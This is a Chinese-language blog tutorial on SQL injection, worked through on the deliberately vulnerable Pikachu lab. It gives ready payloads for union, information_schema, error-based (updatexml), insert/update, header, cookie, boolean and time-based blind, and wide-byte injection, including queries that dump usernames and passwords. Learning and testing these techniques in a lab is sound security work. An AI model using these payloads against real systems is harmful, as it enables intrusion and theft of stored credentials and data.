SQL注入的实际案例

发动SQL注入要做的三件事

  • 确定Web应用程序所使用的技术

为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。

  • 确定所有可能的输入方式

一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。

  • 查找可以用于注射的用户输入

在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式,多留意Web应用的错误页面。

SQL注入前准备:

  • 取消:显示友好HTTP错误信息的选项
    防止http界面不提示错误。


    image.png

数字型注入

数据库中数字型sql注入,输入or 1=1之后全部显示出来了。


image.png

下面我们通过burp抓包输入一个or 1=1设置一个payload,点击提交后,在Render中查看结果。通过判断存在SQL注入,且为数字型注入,可以通过拼接SQL语句来实现注入。


image.png

字符型注入

pikachu平台,在SQL-Inject下选择字符型注入。输入在之前我们已经知道的一个id,登录成功。

数据库中,我们发现这个语句存在问题,发现这个语句的vince or 1=1是直接被认作字符串,我们在vince后面添加单引号来闭合vince,再在1=1后面添加注释#来消除掉后面的单引号,这样来完成一个SQL语句的拼接合法性。完整的语句为

select id,email from member where username='vince‘ or 1=1#'

选出了全部数据
image.png
image.png

union注入

  • union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。
数据库联合查询
image.png

image.png
image.png

因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。

注:union操作符一般与order by语句配合使用.
输入a' order by 4#%,反馈如图:

4个字段错误

输入a' order by 3#%,反馈如图:


为3个字段

通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句a' union select database(),user(),version()#%尝试:


image.png

information_schema注入

  • information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。(比较常用!)

通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。先找出数据库的名称,输入
vince' union select database(),user(),3#%

判断数据库名称为pikachu

获取pikachu数据库的表名,输入:
u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名,输入:
k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

获取字段值的内容,输入:
kobe'union select username ,password,3 from users#%

kobe'union select username ,password,3 from users#%

基于函数报错

  • 在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。

适用场景:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.

  • 常用报错函数:基于报错的信息获取

1、updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
2、extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
3、floor():MYSQL中用来取整的函数.

1、爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

image.png

image.png
2、爆数据库当前用户

k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

image.png
image.png
3、爆数据库

k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

image.png
image.png
4、爆表

k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 2,1)),1)#

image.png
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 2,1)),1)#

insert注入

  • 前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

到数据库中输入insert into member (username,pw,sex,phonenum,email,address) values('oldboy',123456,1,2,3,4);来插入一个用户,在输入select * from member;查看所有用户

image.png
找注入点:后加‘ 会提示sql的错误,有注入点因为开发没有做过滤
  • 注入点爆表名
    oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
image.png
  • 注入点爆破列

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

image.png

update注入

与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。

' or updatexml(0,concat(0x7e,(database())),0) or'

image.png

delete注入

应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:

image.png

Http Header注入

pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:Mozilla/5.0后内容,然后Mozilla/5.0输入' or updatexml(1,concat(0x7e,database ()),0) or ' ,运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。

抓包找到get请求
image.png

Cookie注入

Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。

image.png
image.png
cookie插入sql注入语句

Boolian(布尔型)盲注

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注(看不到结果)。
SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注

  • 通过嗅探得出数据库名称:(vince' and ascii(substr(database(),1,1))>XX)通过对比ascii码的长度,判断出数据库表名的第一个字符。

输入语句select ascii(substr(database(),1,1))>xx;


猜测ASCII码
小葵工具url转码p是112
sql注入直到把数据库的全名探测

base on time(时间型)盲注

  • 判断是否存在注入点,如果存在注入点则该界面会查询6秒(6秒是参数中设置的查询时间)(vince' and sleep(6)#)

注意:Asc码盲注不不适用于 时间型盲注。

到base on time盲注下,输入上个演示中设置好的payload vince' and ascii(substr(database(),1,1))=112#,返回的信息发现不存在注入点。那这样就不能进行注入了?但其实可以通过后端的执行时间来进行注入。这里会用到的payload: vince' and sleep(x)#

时间盲注

宽字节注入

当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。

  • 宽字节注入(kobe%df' or 1=1#)
image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,948评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,371评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,490评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,521评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,627评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,842评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,997评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,741评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,203评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,534评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,673评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,339评论 4 330
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,955评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,770评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,000评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,394评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,562评论 2 349

推荐阅读更多精彩内容